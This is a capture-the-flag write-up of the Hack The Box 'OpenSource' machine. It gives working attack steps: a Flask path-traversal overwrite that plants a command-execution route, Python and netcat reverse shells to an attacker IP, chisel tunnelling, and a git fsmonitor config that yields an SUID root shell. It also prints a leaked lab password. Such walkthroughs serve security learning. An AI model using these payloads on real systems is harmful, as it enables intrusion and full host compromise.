Summary
One of the last old boxes I needed to get around to rehacking and posting. Starts off simple with downloading an open source cloud service into using git logs to reveal a dev password. Then the contents can be examined to determine a vulnerability within the view.py file which allows the overwriting of any file within the webapp. After adding your own route RCE is achieved and shortly after a shell. To obtain root it is as simple as adding a variable to the git config file and running arbitrary commands.
Enumeration
nmap -p- 10.10.11.164 -Pn
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp filtered ppp
nmap -p22,80,3000 -sCV 10.10.11.164 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 1e:59:05:7c:a9:58:c9:23:90:0f:75:23:82:3d:05:5f (RSA)
| 256 48:a8:53:e7:e0:08:aa:1d:96:86:52:bb:88:56:a0:b7 (ECDSA)
|_ 256 02:1f:97:9e:3c:8e:7a:1c:7c:af:9d:5a:25:4b:b8:c8 (ED25519)
80/tcp open http Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Tue, 13 Aug 2024 23:36:59 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 5316
| Connection: close
| <html lang="en">
| <head>
| <meta charset="UTF-8">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>upcloud - Upload files for Free!</title>
| <script src="/static/vendor/jquery/jquery-3.4.1.min.js"></script>
| <script src="/static/vendor/popper/popper.min.js"></script>
| <script src="/static/vendor/bootstrap/js/bootstrap.min.js"></script>
| <script src="/static/js/ie10-viewport-bug-workaround.js"></script>
| <link rel="stylesheet" href="/static/vendor/bootstrap/css/bootstrap.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-grid.css"/>
| <link rel="stylesheet" href=" /static/vendor/bootstrap/css/bootstrap-reboot.css"/>
| <link rel=
| HTTPOptions:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.1.2 Python/3.10.3
| Date: Tue, 13 Aug 2024 23:36:59 GMT
| Content-Type: text/html; charset=utf-8
| Allow: GET, HEAD, OPTIONS
| Content-Length: 0
| Connection: close
| RTSPRequest:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
3000/tcp filtered ppp
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
...
Port 80
dirsearch -u http://10.10.11.164/
_|. _ _ _ _ _ _|_ v0.4.3.post1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/raccoon/_hacking/HackTheBox/Misc/OpenSource/reports/http_10.10.11.164/__24-08-13_18-29-31.txt
Target: http://10.10.11.164/
[18:29:31] Starting:
[18:30:13] 200 - 2KB - /console
[18:30:23] 200 - 2MB - /download
[18:31:13] 500 - 15KB - /uploads/dump.sql
[18:31:13] 500 - 16KB - /uploads/affwp-debug.log
A front page advertising a product then offering a demo locally on the site. This is a sure-fire way to get hacked if there are any vulnerabilities within whatever solution being offered. I download the zip file and check around.
ls -al source
total 28
drwxr-xr-x 5 raccoon lpadmin 4096 Oct 16 2022 .
drwxr-xr-x 5 raccoon lpadmin 4096 Aug 13 2024 ..
drwxr-xr-x 2 raccoon lpadmin 4096 Oct 16 2022 app
-rw-r--r-- 1 raccoon lpadmin 110 Sep 14 2022 build-docker.sh
drwxr-xr-x 2 raccoon lpadmin 4096 Oct 16 2022 config
-rw-r--r-- 1 raccoon lpadmin 574 Sep 14 2022 Dockerfile
drwxr-xr-x 2 raccoon lpadmin 4096 Oct 16 2022 .git
cat source/*
cat: source/app: Is a directory
#!/bin/bash
docker rm -f upcloud
docker build --tag=upcloud .
docker run -p 80:80 --rm --name=upcloud upcloud
cat: source/config: Is a directory
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask
# Setup app
RUN mkdir -p /app
# Switch working environment
WORKDIR /app
# Add application
COPY app .
# Setup supervisor
COPY config/supervisord.conf /etc/supervisord.conf
# Expose port the server is reachable on
EXPOSE 80
# Disable pycache
ENV PYTHONDONTWRITEBYTECODE=1
# Set mode
ENV MODE="PRODUCTION"
# Run supervisord
CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]
User as dev01
Shell as docker root
git log
This application is using flask and comes with a .git file. I can enumerate this for previous commits and alternate branches. Typically when offering a product download you don’t send it with .git as this is a classic way to leak secrets or other misconfigurations.
git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:55:55 2022 +0200
clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
This is the public branch, but with only 2 commits something tells me there is another branch that this came from.
git branch -a
dev
* public
*
git log dev
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (dev)
Author: gituser <gituser@local>
Date: Thu Apr 28 13:47:24 2022 +0200
ease testing
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:16 2022 +0200
updated
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <gituser@local>
Date: Thu Apr 28 13:45:17 2022 +0200
initial
git show be4da71987bbbc8fae7c961fb2de01ebd0be1997
commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <gituser@local>
Date: Thu Apr 28 13:46:54 2022 +0200
added gitignore
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..e50a290
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,26 @@
+.DS_Store
+.env
+.flaskenv
+*.pyc
+*.pyo
+env/
+venv/
+.venv/
+env*
+dist/
+build/
+*.egg
+*.egg-info/
+_mailinglist
+.tox/
+.cache/
+.pytest_cache/
+.idea/
+docs/_build/
+.vscode
+
+# Coverage reports
+htmlcov/
+.coverage
+.coverage.*
+*,cover
diff --git a/app/.vscode/settings.json b/app/.vscode/settings.json
deleted file mode 100644
index 5975e3f..0000000
--- a/app/.vscode/settings.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
- "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
- "http.proxy": "http://dev01:Soulless_Developer#2022@10.10.10.128:5187/",
- "http.proxyStrictSSL": false
-}
This password is only step 1 to obtaining root, we have 2 more steps to go. Next given that we know this is a flask application we can read the python source that defines the routes views.py
cat app/app/views.py
import os
from app.utils import get_file_name
from flask import render_template, request, send_file
from app import app
@app.route('/', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
f = request.files['file']
file_name = get_file_name(f.filename)
file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
f.save(file_path)
return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
return render_template('upload.html')
@app.route('/uploads/<path:path>')
def send_report(path):
path = get_file_name(path)
return send_file(os.path.join(os.getcwd(), "public", "uploads", path))
Rewriting views.py
It might be easy to overlook but there is a vulnerability here that can be exploited within the upload_file function. Hacktricks of course has more info on it. By using os.path.join within python it allows me to define an absolute path and overwrite the directories defined beforehand, meaning I can write to any file given it exists within / respective to the webapp (probably /var/www/public).
I first try a shell to see if it is in fact that easy.
POST /upcloud HTTP/1.1
Host: 10.10.11.164
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------49310446973920412135007932
Content-Length: 247
Origin: http://10.10.11.164
DNT: 1
Connection: close
Referer: http://10.10.11.164/upcloud
Upgrade-Insecure-Requests: 1
-----------------------------49310446973920412135007932
Content-Disposition: form-data; name="file"; filename="/shell.py"
Content-Type: application/octet-stream
import socket,os,pty;s=socket.socket();s.connect((os.getenv("10.10.14.4"),int(os.getenv("7777"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")
-----------------------------49310446973920412135007932--
That is a gnarly error. I decided to turn to what I do know about the box. We can write to any file, meaning I can define my own routes, meaning I can make my own route to code execution. I use ChatGPT here to define me a generic html template to render and a new route of /raccoon. Below are the parts that need to be added to views.py.
from flask import render_template_string
html_template = """ <!DOCTYPE html> <html> <head> <title>Run Command</title> </head> <body> <h1>Enter Command</h1> <form method="post"> <input type="text" name="command" /> <input type="submit" value="Run" /> </form> </body> </html> """
@app.route('/raccoon', methods=['GET', 'POST'])
def run_command():
output = None
if request.method == 'POST':
command = request.form.get('command')
if command:
output = os.popen(command).read()
return render_template_string(html_template, output=output)
Upload at the /upcloud endpoint, then head to http://10.10.11.164/raccoon and run id to check the user running this webapp.
Unexpected.. time to get a shell and dig around.
# Command run:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.4 7777 >/tmp/f
nc -nvlp 7777
Listening on 0.0.0.0 7777
Connection received on 10.10.11.164 43457
sh: can't access tty; job control turned off
/app # ls
INSTALL.md
app
public
run.py
/app # find / -name "id_rsa" 2>/dev/null
/app # netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 7/python
netstat: /proc/net/tcp6: No such file or directory
netstat: /proc/net/udp6: No such file or directory
/app # ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:06
inet addr:172.17.0.6 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:834 errors:0 dropped:0 overruns:0 frame:0
TX packets:767 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:108080 (105.5 KiB) TX bytes:275315 (268.8 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
/app # ping 172.17.0.1
PING 172.17.0.1 (172.17.0.1): 56 data bytes
64 bytes from 172.17.0.1: seq=0 ttl=64 time=0.089 ms
64 bytes from 172.17.0.1: seq=1 ttl=64 time=0.106 ms
Docker Escape
Port Forwarding
That IP address I pinged is the default host for docker networks. We know from the initial nmap scan that port 3000 is open in some regard, perhaps this container is allowed to access it.
/app # wget http://172.17.0.1:3000
Connecting to 172.17.0.1:3000 (172.17.0.1:3000)
saving to 'index.html'
index.html 100% |********************************| 13414 0:00:00 ETA
'index.html' saved
/app # cat index.html | grep Gitea
<title> Gitea: Git with a cup of tea</title>
<meta name="author" content="Gitea - Git with a cup of tea" />
<meta name="description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go" />
<meta property="og:title" content="Gitea: Git with a cup of tea">
<meta property="og:description" content="Gitea (Git with a cup of tea) is a painless self-hosted Git service written in Go">
<meta property="og:site_name" content="Gitea: Git with a cup of tea" />
Gitea: Git with a cup of tea
Gitea runs anywhere <a target="_blank" rel="noopener noreferrer nofollow" href="http://golang.org/">Go</a> can compile for: Windows, macOS, Linux, ARM, etc. Choose the one you love!
Gitea has low minimal requirements and can run on an inexpensive Raspberry Pi. Save your machine energy!
Powered by Gitea Version: 1.16.6 Page: <strong>7ms</strong> Template: <strong>4ms</strong>
There is a Gitea instance being run locally which I can access. If I had an SSH sessions I could SSH tunnel to access port 3000. Given I have a crude shell I need to find another way to access this resource.
My tool for choice in these cases is chisel, a port forwarder. It will allow me to setup a server client relationship that will forward traffic from a port I want locally to a port I want on the remote machine. The steps are simple, on the docker container run:
/app # wget http://10.10.14.4:8081/chisel_1.10.0_linux_amd64
/app # ./chisel_1.10.0_linux_amd64 client 10.10.14.4:4444 R:3000:172.17.0.1:3000
2024/08/14 02:09:49 client: Connecting to ws://10.10.14.4:4444
2024/08/14 02:09:49 client: Connected (Latency 74.73204ms)
And on your device run:
./chisel_1.10.0_linux_amd64 server -p 4444 --reverse
2024/08/13 20:41:14 server: Reverse tunnelling enabled
2024/08/13 20:41:14 server: Fingerprint IDk/AtlfBYtDbQML7r3vExlir1cRC34z1xgq7qqrmBc=
2024/08/13 20:41:14 server: Listening on http://0.0.0.0:4444
2024/08/13 20:41:36 server: session#1: tun: proxy#R:3000=>172.17.0.1:3000: Listening
The anatomy of this command is the specified port on your LHOST is the port for the server-client model to communicate over, pick a port you intend not to scan or interact with as it will conflict. The remote host formatting is the same as SSH tunnelling, as in local_port:dest_addr:dest_port.
With all this finally setup I can access the Gitea service from my local machine.
Gitea secrets
Remembering back to the dev branch that leaked the dev01’s password we log into this service with dev01:Soulless_Developer#2022
A copy paste of dev01’s home directory. There is an SSH key in here so I get a free session.
ssh -i id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed Aug 14 02:15:08 UTC 2024
System load: 0.06 Processes: 238
Usage of /: 75.6% of 3.48GB Users logged in: 0
Memory usage: 24% IP address for eth0: 10.10.11.164
Swap usage: 0% IP address for docker0: 172.17.0.1
=> There is 1 zombie process.
16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable
Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
dev01@opensource:~$ cat user.txt
25bff60cb5076f------------------
Root
CVE-2022-24765
Digging around the only minor lead I could find was with pspy, running an unfamiliar script.
./pspy64
2024/08/14 02:25:01 CMD: UID=0 PID=27989 | /bin/bash /usr/local/bin/git-sync
2024/08/14 02:25:01 CMD: UID=0 PID=27991 | /bin/bash /usr/local/bin/git-sync
2024/08/14 02:25:01 CMD: UID=0 PID=27992 | git commit -m Backup for 2024-08-14
2024/08/14 02:25:01 CMD: UID=0 PID=27993 | /bin/bash /usr/local/bin/git-sync
2024/08/14 02:25:01 CMD: UID=0 PID=27994 | git push origin main
dev01@opensource:~$ ls -al /usr/local/bin/git-sync
-rwxr-xr-x 1 root root 239 Mar 23 2022 /usr/local/bin/git-sync
dev01@opensource:~$ file /usr/local/bin/git-sync
/usr/local/bin/git-sync: Bourne-Again shell script, ASCII text executable
dev01@opensource:~$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
Though I may not have the permissions to edit the git-sync file I can edit everything in dev01’s home directory, the location the bash script changes to then runs the git push for the Gitea service. First I attempt to make a symbolic link to root resources to see if the Gitea repo will update.
dev01@opensource:~$ ln -s /root/.ssh/id_rsa root_key
dev01@opensource:~$ ln -s /root/root.txt root_flag
ssh -i id_rsa dev01@10.10.11.164 -L 3000:127.0.0.1:3000
The answer is it didn’t but in concept I believe this might have uploaded those resources to the repo indiscriminately. This is a general PSA that git should not be run by root as there is not a reason for git to need access to things users cannot do (same for pip).
I took some time on the drawing board thinking about what I had access to here. The only real file that would constitute some “control” over the commands within .git is the config file.
dev01@opensource:~$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://opensource.htb:3000/dev01/home-backup.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
Another consideration to me was the box was released in 2022 so searching for git vulnerabilities within that year might be worthwhile. The “git vulnerability 2022” search did the trick after scrolling a bit to find this post about fsmonitor running commands.
From the git-config documentation for verison 2.35.2:
core.fsmonitor
If set, the value of this variable is used as a command which will identify all files that may have changed since the requested date/time. This information is used to speed up git by avoiding unnecessary processing of files that have not changed. See the "fsmonitor-watchman" section of [githooks[5]](https://git-scm.com/docs/githooks).
I test this vuln by adding fsmonitor and having it create a file in /tmp
dev01@opensource:~$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "touch /tmp/fsmonitor"
[remote "origin"]
url = http://opensource.htb:3000/dev01/home-backup.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
dev01@opensource:~$ ls /tmp
fsmonitor
snap.docker
systemd-private-46f86691781f43539d1d445c40d06bd1-systemd-resolved.service-mRGDu2
systemd-private-46f86691781f43539d1d445c40d06bd1-systemd-timesyncd.service-qWaslc
vmware-root_907-4021784429
We are a go, change to a simple bash SUID maker and get root.
# Add to .git/config
fsmonitor = "cp /bin/bash /tmp/bash && chmod u+s /tmp/bash"
dev01@opensource:~$ ls /tmp
bash systemd-private-46f86691781f43539d1d445c40d06bd1-systemd-resolved.service-mRGDu2
fsmonitor systemd-private-46f86691781f43539d1d445c40d06bd1-systemd-timesyncd.service-qWaslc
snap.docker vmware-root_907-4021784429
dev01@opensource:~$ /tmp/bash -p
bash-4.4# cat /root/root.txt
a037e12667015-------------------